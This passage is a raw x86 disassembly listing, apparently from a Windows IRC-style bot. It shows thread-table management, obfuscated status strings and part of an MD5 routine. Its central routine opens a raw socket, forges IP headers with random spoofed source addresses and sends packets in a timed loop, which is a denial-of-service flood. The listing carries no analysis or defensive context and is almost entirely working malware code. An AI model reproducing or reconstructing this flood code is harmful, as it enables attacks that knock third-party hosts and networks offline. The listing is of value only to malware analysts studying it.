		mov	[ebp+var_40], 3FFFh
		mov	[ebp+var_3C], ebx
		mov	[ebp+var_38], edx
		stosd
		jnz	short loc_41BC82
		push	offset dword_4552D0
		call	sub_4140CF
		pop	ecx
		jmp	short loc_41BCA8
; ---------------------------------------------------------------------------


loc_41BC82:				; CODE XREF: sub_41BB8F+E4j
		lea	eax, [ebp+var_24C]
		push	100h
		push	eax
		call	dword_42F2A8	; gethostname
		lea	eax, [ebp+var_24C]
		push	eax
		call	dword_42F274	; gethostbyname
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]


loc_41BCA8:				; CODE XREF: sub_41BB8F+F1j
		push	ebx
		push	3
		push	2
		mov	[ebp+var_4], eax
		call	dword_42F29C	; socket
		lea	ecx, [ebp+var_2C]
		push	4
		push	ecx
		xor	edi, edi
		push	2
		push	edi
		push	eax
		mov	[ebp+var_8], eax
		call	dword_42F2B4	; setsockopt
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41BD06
		push	[ebp+var_8]
		call	dword_42F298	; closesocket
		push	[ebp+var_CC]
		call	sub_41C059
		pop	ecx
		mov	esi, offset dword_439638
		mov	ecx, [ebp+arg_0]
		push	esi
		call	sub_41074B
		mov	ecx, [ebp+arg_0]
		push	offset dword_43963C
		push	esi
		call	sub_410720
		jmp	loc_41BECE
; ---------------------------------------------------------------------------


loc_41BD06:				; CODE XREF: sub_41BB8F+13Fj
		push	8
		call	sub_41C235
		test	eax, eax
		pop	ecx
		jle	short loc_41BD39
		push	offset aStopped_ ; "Stopped."
		push	8
		push	edi
		push	edi
		push	[ebp+var_B8]
		lea	eax, [ebp+var_14C]
		push	[ebp+var_B4]
		push	[ebp+arg_0]
		push	eax
		call	sub_41C090
		add	esp, 20h


loc_41BD39:				; CODE XREF: sub_41BB8F+181j
		push	esi
		call	sub_422F79
		mov	edi, dword_42F2B8
		pop	ecx
		push	[ebp+var_C8]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_10]
		mov	[ebp+var_A8], 2
		mov	[ebp+var_A4], eax
		call	edi ; dword_42F2B8
		mov	[ebp+var_A6], ax
		call	dword_42F164	; GetTickCount
		mov	[ebp+var_14], eax
		jmp	loc_41BE46
; ---------------------------------------------------------------------------


loc_41BD78:				; CODE XREF: sub_41BB8F+2CFj
		call	sub_4220FC
		cdq
		mov	ecx, ebx
		idiv	ecx
		mov	eax, [ebp+var_4]
		and	eax, 0FFFFFFh
		shl	edx, 18h
		or	edx, eax
		mov	[ebp+var_4], edx
		call	sub_4220FC
		cdq
		mov	ecx, ebx
		idiv	ecx
		mov	[ebp+var_60], edx
		call	sub_4220FC
		cdq
		mov	ecx, 1FA4h
		mov	[ebp+var_28], 45h
		idiv	ecx
		mov	[ebp+var_27], 4
		mov	[ebp+var_30], edx
		call	sub_4220FC
		mov	[ebp+var_24], ax
		call	sub_4220FC
		push	0Bh
		cdq
		pop	ecx
		idiv	ecx
		mov	ax, word ptr [ebp+edx*4+var_5C]
		push	eax
		call	edi ; dword_42F2B8
		push	esi
		mov	[ebp+var_22], ax
		call	edi ; dword_42F2B8
		mov	[ebp+var_26], ax
		mov	[ebp+var_20], bl
		call	sub_4220FC
		push	0Eh
		cdq
		pop	ecx
		idiv	ecx
		push	14h
		mov	al, byte ptr [ebp+edx*4+var_98]
		mov	[ebp+var_1F], al
		mov	eax, [ebp+var_4]
		mov	[ebp+var_1C], eax
		mov	eax, [ebp+var_10]
		mov	[ebp+var_18], eax
		lea	eax, [ebp+var_28]
		push	eax
		call	sub_414271
		mov	[ebp+var_1E], ax
		lea	eax, [ebp+var_28]
		push	14h
		push	eax
		push	[ebp+var_C]
		call	sub_4223F0
		add	esp, 14h
		lea	eax, [ebp+var_A8]
		push	10h
		push	eax
		push	0
		push	esi
		push	[ebp+var_C]
		push	[ebp+var_8]
		call	dword_42F2A4	; sendto
		push	[ebp+var_C0]
		call	dword_42F15C	; Sleep


loc_41BE46:				; CODE XREF: sub_41BB8F+1E4j
		call	dword_42F164	; GetTickCount
		sub	eax, [ebp+var_14]
		mov	ecx, 3E8h
		xor	edx, edx
		div	ecx
		cmp	eax, [ebp+var_C4]
		jbe	loc_41BD78
		push	[ebp+var_C]
		call	sub_4230B3
		pop	ecx
		push	[ebp+var_8]
		call	dword_42F298	; closesocket
		push	[ebp+var_CC]
		call	sub_41C059
		xor	ebx, ebx
		pop	ecx
		cmp	[ebp+var_B4], ebx
		mov	edi, offset aZshqz13bz2w1 ; "ZsHqZ13bZ2w1"
		mov	esi, offset aSDone_ ; "%s Done."
		jnz	short loc_41BEB2
		cmp	[ebp+var_B8], ebx
		jnz	short loc_41BEBA
		push	edi
		lea	eax, [ebp+var_14C]
		push	esi
		push	eax
		push	[ebp+arg_0]
		call	sub_4104F6
		add	esp, 10h


loc_41BEB2:				; CODE XREF: sub_41BB8F+305j
		cmp	[ebp+var_B8], ebx
		jz	short loc_41BECE


loc_41BEBA:				; CODE XREF: sub_41BB8F+30Dj
		push	edi
		lea	eax, [ebp+var_14C]
		push	esi
		push	eax
		push	[ebp+arg_0]
		call	sub_410491
		add	esp, 10h


loc_41BECE:				; CODE XREF: sub_41BB8F+172j
					; sub_41BB8F+329j
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	4
sub_41BB8F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BED7	proc near		; CODE XREF: sub_401477+EDp
					; sub_40178D+BFp ...

var_FE8		= byte ptr -0FE8h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0FE8h
		lea	eax, [ebp+arg_8]
		push	edi
		push	eax
		lea	eax, [ebp+var_FE8]
		push	[ebp+arg_4]
		push	0FE6h
		push	eax
		call	sub_423640
		add	esp, 10h
		xor	edi, edi
		mov	eax, offset dword_46C408


loc_41BF03:				; CODE XREF: sub_41BED7+3Cj
		cmp	byte ptr [eax],	0
		jz	short loc_41BF17
		add	eax, 1018h
		inc	edi
		cmp	eax, offset dword_630E38
		jl	short loc_41BF03
		jmp	short loc_41BF53
; ---------------------------------------------------------------------------


loc_41BF17:				; CODE XREF: sub_41BED7+2Fj
		push	esi
		mov	esi, edi
		imul	esi, 1018h
		lea	eax, [ebp+var_FE8]
		push	0FFFh
		push	eax
		lea	eax, dword_46C408[esi]
		push	eax
		call	sub_4222F0
		mov	eax, [ebp+arg_0]
		and	dword_46D40C[esi], 0
		add	esp, 0Ch
		and	dword_46D410[esi], 0
		mov	dword_46D408[esi], eax
		pop	esi


loc_41BF53:				; CODE XREF: sub_41BED7+3Ej
		mov	eax, edi
		pop	edi
		leave
		retn
sub_41BED7	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BF58	proc near		; CODE XREF: sub_403B2C+A15p
					; sub_41BFDA+12p ...

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+0Ch+arg_0]
		xor	ebx, ebx
		xor	ebp, ebp
		cmp	esi, ebx
		jle	short loc_41BFD4
		cmp	esi, 1C2h
		jge	short loc_41BFD4
		imul	esi, 1018h
		push	edi
		push	ebx
		lea	edi, dword_46D414[esi]
		push	dword ptr [edi]
		call	dword_42F048	; TerminateThread
		cmp	[edi], ebx
		jz	short loc_41BF8A
		inc	ebp


loc_41BF8A:				; CODE XREF: sub_41BF58+2Fj
		mov	[edi], ebx
		lea	edi, dword_46D410[esi]
		mov	dword_46D408[esi], ebx
		mov	dword_46D40C[esi], ebx
		mov	eax, [edi]
		cmp	eax, ebx
		jbe	short loc_41BFAB
		push	eax
		call	sub_4188DB
		pop	ecx


loc_41BFAB:				; CODE XREF: sub_41BF58+4Aj
		mov	[edi], ebx
		lea	edi, dword_46D418[esi]
		mov	byte ptr dword_46C408[esi], bl
		push	dword ptr [edi]
		call	dword_4543AC	; closesocket
		lea	esi, dword_46D41C[esi]
		mov	[edi], ebx
		push	dword ptr [esi]
		call	dword_4543AC	; closesocket
		mov	[esi], ebx
		pop	edi


loc_41BFD4:				; CODE XREF: sub_41BF58+Dj
					; sub_41BF58+15j
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41BF58	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BFDA	proc near		; CODE XREF: sub_403B2C+9BDp
					; sub_412267+54Ep ...
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		xor	edi, edi
		mov	esi, offset dword_46C408


loc_41BFE6:				; CODE XREF: sub_41BFDA+2Aj
		cmp	byte ptr [esi],	0
		jz	short loc_41BFF7
		push	edi
		call	sub_41BF58
		test	eax, eax
		pop	ecx
		jz	short loc_41BFF7
		inc	ebx


loc_41BFF7:				; CODE XREF: sub_41BFDA+Fj
					; sub_41BFDA+1Aj
		add	esi, 1018h
		inc	edi
		cmp	esi, offset dword_630E38
		jl	short loc_41BFE6
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_41BFDA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C00C	proc near		; CODE XREF: sub_41C090+1Ap

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		mov	edi, [ebp+arg_4]
		mov	[ebp+var_4], ebx
		mov	esi, offset dword_46D40C


loc_41C020:				; CODE XREF: sub_41C00C+43j
		mov	eax, [esi-4]
		cmp	eax, [ebp+arg_0]
		jnz	short loc_41C042
		test	edi, edi
		jle	short loc_41C034
		cmp	[esi], edi
		jz	short loc_41C034
		cmp	ebx, edi
		jnz	short loc_41C042


loc_41C034:				; CODE XREF: sub_41C00C+1Ej
					; sub_41C00C+22j
		push	ebx
		call	sub_41BF58
		test	eax, eax
		pop	ecx
		jz	short loc_41C042
		inc	[ebp+var_4]


loc_41C042:				; CODE XREF: sub_41C00C+1Aj
					; sub_41C00C+26j ...
		add	esi, 1018h
		inc	ebx
		cmp	esi, offset dword_631E3C
		jl	short loc_41C020
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41C00C	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C059	proc near		; CODE XREF: sub_40178D+16Bp
					; sub_401906+166p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		xor	ecx, ecx
		imul	eax, 1018h
		mov	dword_46D414[eax], ecx
		mov	dword_46D408[eax], ecx
		mov	dword_46D40C[eax], ecx
		mov	dword_46D410[eax], ecx
		mov	dword_46D418[eax], ecx
		mov	dword_46D41C[eax], ecx
		mov	byte ptr dword_46C408[eax], cl
		retn
sub_41C059	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C090	proc near		; CODE XREF: sub_403B2C+631Dp
					; sub_403B2C+6333p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		xor	eax, eax
		cmp	[ebp+arg_14], eax
		jz	short loc_41C0A3
		push	[ebp+arg_14]
		call	sub_422B5A
		pop	ecx


loc_41C0A3:				; CODE XREF: sub_41C090+8j
		push	ebx
		push	esi
		push	edi
		push	eax
		push	[ebp+arg_18]
		call	sub_41C00C
		mov	ebx, eax
		pop	ecx
		test	ebx, ebx
		pop	ecx
		mov	esi, offset aQo1bf0_b7k40mn ; "qo1bf0.B7k40Mnsrm1FhS.k."
		jle	short loc_41C0FD
		cmp	[ebp+arg_8], 0
		mov	edi, offset aSSDThreadSStop ; "%s %s (%d thread(s) stopped)."
		jnz	short loc_41C0E1
		cmp	[ebp+arg_C], 0
		jnz	short loc_41C0E7
		push	ebx
		push	[ebp+arg_1C]
		push	esi
		push	edi
		push	[ebp+arg_0]
		push	[ebp+arg_4]
		call	sub_4104F6
		add	esp, 18h


loc_41C0E1:				; CODE XREF: sub_41C090+35j
		cmp	[ebp+arg_C], 0
		jz	short loc_41C13E


loc_41C0E7:				; CODE XREF: sub_41C090+3Bj
		push	ebx
		push	[ebp+arg_1C]
		push	esi
		push	edi
		push	[ebp+arg_0]
		push	[ebp+arg_4]
		call	sub_410491
		add	esp, 18h
		jmp	short loc_41C13E
; ---------------------------------------------------------------------------


loc_41C0FD:				; CODE XREF: sub_41C090+2Aj
		xor	ebx, ebx
		mov	edi, offset aSNoSThreadFoun ; "%s No %s	thread found."
		cmp	[ebp+arg_8], ebx
		jnz	short loc_41C126
		cmp	[ebp+arg_C], ebx
		jnz	short loc_41C12B
		cmp	[ebp+arg_10], ebx
		jz	short loc_41C13E
		push	[ebp+arg_1C]
		push	esi
		push	edi
		push	[ebp+arg_0]
		push	[ebp+arg_4]
		call	sub_4104F6
		add	esp, 14h


loc_41C126:				; CODE XREF: sub_41C090+77j
		cmp	[ebp+arg_C], ebx
		jz	short loc_41C13E


loc_41C12B:				; CODE XREF: sub_41C090+7Cj
		push	[ebp+arg_1C]
		push	esi
		push	edi
		push	[ebp+arg_0]
		push	[ebp+arg_4]
		call	sub_410491
		add	esp, 14h


loc_41C13E:				; CODE XREF: sub_41C090+55j
					; sub_41C090+6Bj ...
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41C090	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C143	proc near		; DATA XREF: sub_403B2C+B70o

var_244		= dword	ptr -244h
var_240		= byte ptr -240h
var_1C0		= dword	ptr -1C0h
var_1B0		= dword	ptr -1B0h
var_18C		= dword	ptr -18Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 244h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	ecx, 90h
		mov	esi, eax
		lea	edi, [ebp+var_244]
		push	offset aQo1bf0_b7k40mn ; "qo1bf0.B7k40Mnsrm1FhS.k."
		rep movsd
		mov	ecx, [ebp+var_244]
		mov	dword ptr [eax+0BCh], 1
		mov	eax, [ebp+var_18C]
		push	offset aSThreadsList ; "%s Threads List:"
		mov	[ebp+var_4], eax
		mov	[ebp+arg_0], ecx
		test	eax, eax
		lea	eax, [ebp+var_240]
		push	eax
		push	ecx
		jnz	short loc_41C19A
		call	sub_4104F6
		jmp	short loc_41C19F
; ---------------------------------------------------------------------------


loc_41C19A:				; CODE XREF: sub_41C143+4Ej
		call	sub_410491


loc_41C19F:				; CODE XREF: sub_41C143+55j
		add	esp, 10h
		xor	ebx, ebx
		mov	edi, offset dword_46C408
		mov	esi, offset aD_S ; "%d.	%s"


loc_41C1AE:				; CODE XREF: sub_41C143+B0j
		cmp	byte ptr [edi],	0
		jz	short loc_41C1E6
		xor	eax, eax
		cmp	[ebp+var_1B0], eax
		jnz	short loc_41C1C5
		cmp	[edi+1004h], eax
		jnz	short loc_41C1E6


loc_41C1C5:				; CODE XREF: sub_41C143+78j
		cmp	[ebp+var_4], eax
		push	edi
		push	ebx
		lea	eax, [ebp+var_240]
		push	esi
		push	eax
		push	[ebp+arg_0]
		jnz	short loc_41C1DE
		call	sub_4104F6
		jmp	short loc_41C1E3
; ---------------------------------------------------------------------------


loc_41C1DE:				; CODE XREF: sub_41C143+92j
		call	sub_410491


loc_41C1E3:				; CODE XREF: sub_41C143+99j
		add	esp, 14h


loc_41C1E6:				; CODE XREF: sub_41C143+6Ej
					; sub_41C143+80j
		add	edi, 1018h
		inc	ebx
		cmp	edi, offset dword_630E38
		jl	short loc_41C1AE
		cmp	[ebp+var_4], 0
		pop	edi
		pop	esi
		pop	ebx
		lea	eax, [ebp+var_240]
		push	offset aQo1bf0_b7k40mn ; "qo1bf0.B7k40Mnsrm1FhS.k."
		push	offset aSEndOfList_ ; "%s End of list."
		push	eax
		push	[ebp+arg_0]
		jnz	short loc_41C219
		call	sub_4104F6
		jmp	short loc_41C21E
; ---------------------------------------------------------------------------


loc_41C219:				; CODE XREF: sub_41C143+CDj
		call	sub_410491


loc_41C21E:				; CODE XREF: sub_41C143+D4j
		add	esp, 10h
		push	[ebp+var_1C0]
		call	sub_41C059
		pop	ecx
		push	0
		call	dword_42F150	; ExitThread
sub_41C143	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41C235	proc near		; CODE XREF: sub_401408+5p
					; sub_401477+28p ...

arg_0		= dword	ptr  4

		xor	eax, eax
		mov	ecx, offset dword_46D408


loc_41C23C:				; CODE XREF: sub_41C235+1Cj
		mov	edx, [ecx]
		cmp	edx, [esp+arg_0]
		jnz	short loc_41C245
		inc	eax


loc_41C245:				; CODE XREF: sub_41C235+Dj
		add	ecx, 1018h
		cmp	ecx, offset dword_631E38
		jl	short loc_41C23C
		retn
sub_41C235	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C254	proc near		; CODE XREF: sub_40281E+Cp
					; sub_403B2C+A9Dp ...

arg_0		= dword	ptr  4

		xor	eax, eax
		xor	edx, edx
		mov	ecx, offset dword_46D408
		push	esi


loc_41C25E:				; CODE XREF: sub_41C254+1Fj
		mov	esi, [ecx]
		cmp	esi, [esp+4+arg_0]
		jz	short loc_41C277
		add	ecx, 1018h
		inc	edx
		cmp	ecx, offset dword_631E38
		jl	short loc_41C25E
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41C277:				; CODE XREF: sub_41C254+10j
		mov	eax, edx
		pop	esi
		retn
sub_41C254	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C27B	proc near		; CODE XREF: sub_41CE88+23p
		push	esi
		mov	esi, ecx
		call	sub_41CE5C
		mov	eax, esi
		pop	esi
		retn
sub_41C27B	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C287	proc near		; CODE XREF: sub_41CDB7+3p
		and	dword ptr [ecx], 0
		and	dword ptr [ecx+4], 0
		mov	dword ptr [ecx+8], 67452301h
		mov	dword ptr [ecx+0Ch], 0EFCDAB89h
		mov	dword ptr [ecx+10h], 98BADCFEh
		mov	dword ptr [ecx+14h], 10325476h
		retn
sub_41C287	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C2AB	proc near		; CODE XREF: sub_41CC38+45p
					; sub_41CC38+64p

var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		mov	eax, [ebp+arg_0]
		xor	edx, edx
		push	ebx
		push	esi
		mov	dh, [eax+3]
		push	edi
		mov	dl, [eax+2]
		movzx	esi, byte ptr [eax+1]
		shl	edx, 8
		or	edx, esi
		movzx	esi, byte ptr [eax]
		shl	edx, 8
		or	edx, esi
		movzx	esi, byte ptr [eax+5]
		mov	[ebp+var_40], edx
		xor	edx, edx
		mov	dh, [eax+7]
		mov	dl, [eax+6]
		shl	edx, 8
		or	edx, esi
		movzx	esi, byte ptr [eax+4]
		shl	edx, 8
		or	edx, esi
		movzx	esi, byte ptr [eax+9]
		mov	[ebp+var_3C], edx
		xor	edx, edx
		mov	dh, [eax+0Bh]
		mov	dl, [eax+0Ah]
		shl	edx, 8
		or	edx, esi
		movzx	esi, byte ptr [eax+8]
		shl	edx, 8
		or	edx, esi
		movzx	esi, byte ptr [eax+0Dh]
		mov	[ebp+var_38], edx
		xor	edx, edx
		mov	dh, [eax+0Fh]
		mov	dl, [eax+0Eh]
		shl	edx, 8
		or	edx, esi
		movzx	esi, byte ptr [eax+0Ch]
		shl	edx, 8
		or	edx, esi
		movzx	esi, byte ptr [eax+11h]
		mov	[ebp+var_34], edx
		xor	edx, edx
		mov	dh, [eax+13h]
		mov	dl, [eax+12h]
		shl	edx, 8
		or	edx, esi
		movzx	esi, byte ptr [eax+10h]
		shl	edx, 8
		or	edx, esi
		movzx	esi, byte ptr [eax+15h]
		mov	[ebp+var_30], edx
		xor	edx, edx
		mov	dh, [eax+17h]
		mov	dl, [eax+16h]
		shl	edx, 8
		or	edx, esi
		movzx	esi, byte ptr [eax+14h]
		shl	edx, 8
		or	edx, esi
		movzx	esi, byte ptr [eax+19h]
		mov	[ebp+var_2C], edx
		xor	edx, edx
		mov	dh, [eax+1Bh]
		mov	dl, [eax+1Ah]
		shl	edx, 8
		or	edx, esi
		movzx	esi, byte ptr [eax+18h]
		shl	edx, 8
		or	edx, esi
		movzx	esi, byte ptr [eax+1Dh]
		mov	[ebp+var_28], edx
		xor	edx, edx
		mov	dh, [eax+1Fh]
		mov	dl, [eax+1Eh]
		shl	edx, 8
		or	edx, esi
		shl	edx, 8
		movzx	esi, byte ptr [eax+1Ch]
		or	edx, esi
		movzx	esi, byte ptr [eax+21h]
		mov	[ebp+var_24], edx
		xor	edx, edx
		mov	dh, [eax+23h]
		mov	dl, [eax+22h]
		shl	edx, 8
		or	edx, esi
		movzx	esi, byte ptr [eax+20h]
		shl	edx, 8
		or	edx, esi
		movzx	esi, byte ptr [eax+25h]
		mov	[ebp+var_20], edx
		xor	edx, edx
		mov	dh, [eax+27h]
		mov	dl, [eax+26h]
		shl	edx, 8
		or	edx, esi
		movzx	esi, byte ptr [eax+24h]
		shl	edx, 8
		or	edx, esi
		movzx	esi, byte ptr [eax+29h]
		mov	[ebp+var_1C], edx
		xor	edx, edx
		mov	dh, [eax+2Bh]
		mov	dl, [eax+2Ah]
		shl	edx, 8
		or	edx, esi
		movzx	esi, byte ptr [eax+28h]
		shl	edx, 8
		or	edx, esi
		movzx	esi, byte ptr [eax+2Dh]
		mov	[ebp+var_18], edx
		xor	edx, edx
		mov	dh, [eax+2Fh]
		mov	dl, [eax+2Eh]
		shl	edx, 8
		or	edx, esi
		movzx	esi, byte ptr [eax+2Ch]
		shl	edx, 8
		or	edx, esi
		movzx	esi, byte ptr [eax+31h]
		mov	[ebp+var_14], edx
		xor	edx, edx
		mov	dh, [eax+33h]
		mov	dl, [eax+32h]
		shl	edx, 8
		or	edx, esi
		movzx	esi, byte ptr [eax+30h]
		shl	edx, 8
		or	edx, esi
		movzx	esi, byte ptr [eax+35h]
		mov	[ebp+var_10], edx
		xor	edx, edx
		mov	dh, [eax+37h]
		mov	dl, [eax+36h]
		shl	edx, 8
		or	edx, esi
		movzx	esi, byte ptr [eax+34h]
		shl	edx, 8
		or	edx, esi
		movzx	esi, byte ptr [eax+39h]
		mov	[ebp+var_C], edx
		xor	edx, edx
		mov	dh, [eax+3Bh]
		mov	dl, [eax+3Ah]
		shl	edx, 8
		or	edx, esi
		movzx	esi, byte ptr [eax+38h]
		shl	edx, 8
		or	edx, esi
		movzx	esi, byte ptr [eax+3Dh]
		mov	[ebp+var_8], edx
		xor	edx, edx
		mov	dh, [eax+3Fh]
		mov	dl, [eax+3Eh]
		movzx	eax, byte ptr [eax+3Ch]
		shl	edx, 8
		or	edx, esi
		shl	edx, 8
		mov	esi, [ecx+14h]
		mov	edi, [ecx+10h]
		mov	ebx, [ecx+0Ch]
		or	edx, eax
		mov	eax, [ecx+8]
		mov	[ebp+var_4], edx
		mov	edx, esi
		xor	edx, edi
		and	edx, ebx
		xor	edx, esi
		add	edx, eax
		mov	eax, [ebp+var_40]
		lea	edx, [edx+eax-28955B88h]
		mov	eax, edx
		shr	eax, 19h
		shl	edx, 7
		or	eax, edx
		mov	edx, edi
		add	eax, ebx
		xor	edx, ebx
		and	edx, eax
		xor	edx, edi
		add	edx, [ebp+var_3C]
		lea	esi, [esi+edx-173848AAh]
		mov	edx, esi
		shr	edx, 14h
		shl	esi, 0Ch
		or	edx, esi
		mov	esi, ebx
		add	edx, eax
		xor	esi, eax
		and	esi, edx
		xor	esi, ebx
		mov	ebx, edx
		add	esi, [ebp+var_38]
		xor	ebx, eax
		lea	edi, [edi+esi+242070DBh]
		mov	esi, edi
		shr	esi, 0Fh
		shl	edi, 11h
		or	esi, edi
		mov	edi, [ecx+0Ch]
		add	esi, edx
		and	ebx, esi
		xor	ebx, eax
		add	ebx, [ebp+var_34]
		lea	edi, [edi+ebx-3E423112h]
		mov	ebx, edi
		shl	ebx, 16h
		shr	edi, 0Ah
		or	ebx, edi
		mov	edi, edx
		add	ebx, esi
		xor	edi, esi
		and	edi, ebx
		mov	[ebp+arg_0], ebx
		xor	edi, edx
		add	edi, [ebp+var_30]
		lea	eax, [eax+edi-0A83F051h]
		mov	edi, eax
		shr	edi, 19h
		shl	eax, 7
		or	edi, eax
		mov	eax, esi
		add	edi, ebx
		xor	eax, ebx
		and	eax, edi
		xor	eax, esi
		add	eax, [ebp+var_2C]
		lea	edx, [edx+eax+4787C62Ah]
		mov	eax, edx
		shr	eax, 14h
		shl	edx, 0Ch
		or	eax, edx
		mov	edx, ebx
		add	eax, edi
		xor	edx, edi
		and	edx, eax
		xor	edx, ebx
		add	edx, [ebp+var_28]
		lea	esi, [esi+edx-57CFB9EDh]
		mov	edx, esi
		shr	edx, 0Fh
		shl	esi, 11h
		or	edx, esi
		mov	esi, eax
		add	edx, eax
		xor	esi, edi
		and	esi, edx
		xor	esi, edi
		add	esi, [ebp+var_24]
		lea	esi, [ebx+esi-2B96AFFh]
		mov	ebx, esi
		shl	ebx, 16h
		shr	esi, 0Ah
		or	ebx, esi
		mov	esi, eax
		xor	esi, edx
		add	ebx, edx
		and	esi, ebx
		mov	[ebp+arg_0], ebx
		xor	esi, eax
		add	esi, [ebp+var_20]
		lea	edi, [edi+esi+698098D8h]
		mov	esi, edi
		shr	esi, 19h
		shl	edi, 7
		or	esi, edi
		mov	edi, edx
		add	esi, ebx
		xor	edi, ebx
		and	edi, esi
		xor	edi, edx
		add	edi, [ebp+var_1C]
		lea	eax, [eax+edi-74BB0851h]
		mov	edi, eax
		shr	edi, 14h
		shl	eax, 0Ch
		or	edi, eax
		mov	eax, ebx
		add	edi, esi
		xor	eax, esi
		and	eax, edi
		xor	eax, ebx
		add	eax, [ebp+var_18]
		lea	edx, [edx+eax-0A44Fh]
		mov	eax, edx
		shr	eax, 0Fh
		shl	edx, 11h
		or	eax, edx
		mov	edx, edi
		add	eax, edi
		xor	edx, esi
		and	edx, eax
		xor	edx, esi
		add	edx, [ebp+var_14]
		lea	edx, [ebx+edx-76A32842h]
		mov	ebx, edx
		shl	ebx, 16h
		shr	edx, 0Ah
		or	ebx, edx
		mov	edx, edi
		add	ebx, eax
		xor	edx, eax
		and	edx, ebx
		mov	[ebp+arg_0], ebx
		xor	edx, edi
		add	edx, [ebp+var_10]
		lea	esi, [esi+edx+6B901122h]
		mov	edx, esi
		shr	edx, 19h
		shl	esi, 7
		or	edx, esi
		mov	esi, eax
		add	edx, ebx
		xor	esi, ebx
		and	esi, edx
		xor	esi, eax
		add	esi, [ebp+var_C]
		lea	edi, [edi+esi-2678E6Dh]
		mov	ebx, edi
		shr	ebx, 14h
		shl	edi, 0Ch
		or	ebx, edi
		mov	edi, [ebp+arg_0]
		mov	esi, edi
		add	ebx, edx
		xor	esi, edx
		and	esi, ebx
		xor	esi, edi
		add	esi, [ebp+var_8]
		lea	eax, [eax+esi-5986BC72h]
		mov	esi, eax
		shr	esi, 0Fh
		shl	eax, 11h
		or	esi, eax
		mov	eax, ebx
		add	esi, ebx
		xor	eax, edx
		and	eax, esi
		xor	eax, edx
		add	eax, [ebp+var_4]
		lea	edi, [edi+eax+49B40821h]
		mov	eax, edi
		shl	eax, 16h
		shr	edi, 0Ah
		or	eax, edi
		mov	edi, esi
		add	eax, esi
		xor	edi, eax
		and	edi, ebx
		xor	edi, esi
		add	edi, [ebp+var_3C]
		lea	edx, [edx+edi-9E1DA9Eh]
		mov	edi, edx
		shr	edi, 1Bh
		shl	edx, 5
		or	edi, edx
		mov	edx, eax
		add	edi, eax
		xor	edx, edi
		and	edx, esi
		xor	edx, eax
		add	edx, [ebp+var_28]
		lea	ebx, [ebx+edx-3FBF4CC0h]
		mov	edx, ebx
		shr	edx, 17h
		shl	ebx, 9
		or	edx, ebx
		add	edx, edi
		mov	ebx, edx
		xor	ebx, edi
		and	ebx, eax
		xor	ebx, edi
		add	ebx, [ebp+var_14]
		lea	esi, [esi+ebx+265E5A51h]
		mov	ebx, esi
		shr	ebx, 12h
		shl	esi, 0Eh
		or	ebx, esi
		mov	esi, edx
		add	ebx, edx
		xor	esi, ebx
		and	esi, edi
		xor	esi, edx
		add	esi, [ebp+var_40]
		lea	eax, [eax+esi-16493856h]
		mov	esi, eax
		shl	esi, 14h
		shr	eax, 0Ch
		or	esi, eax
		mov	eax, ebx
		add	esi, ebx
		xor	eax, esi
		and	eax, edx
		xor	eax, ebx
		add	eax, [ebp+var_2C]
		lea	edi, [edi+eax-29D0EFA3h]
		mov	eax, edi
		shr	eax, 1Bh
		shl	edi, 5
		or	eax, edi
		add	eax, esi
		mov	edi, esi
		xor	edi, eax
		and	edi, ebx
		xor	edi, esi
		add	edi, [ebp+var_18]
		lea	edx, [edx+edi+2441453h]
		mov	edi, edx
		shr	edi, 17h
		shl	edx, 9
		or	edi, edx
		add	edi, eax
		mov	edx, edi
		xor	edx, eax
		and	edx, esi
		xor	edx, eax
		add	edx, [ebp+var_4]
		lea	ebx, [ebx+edx-275E197Fh]
		mov	edx, ebx
		shr	edx, 12h
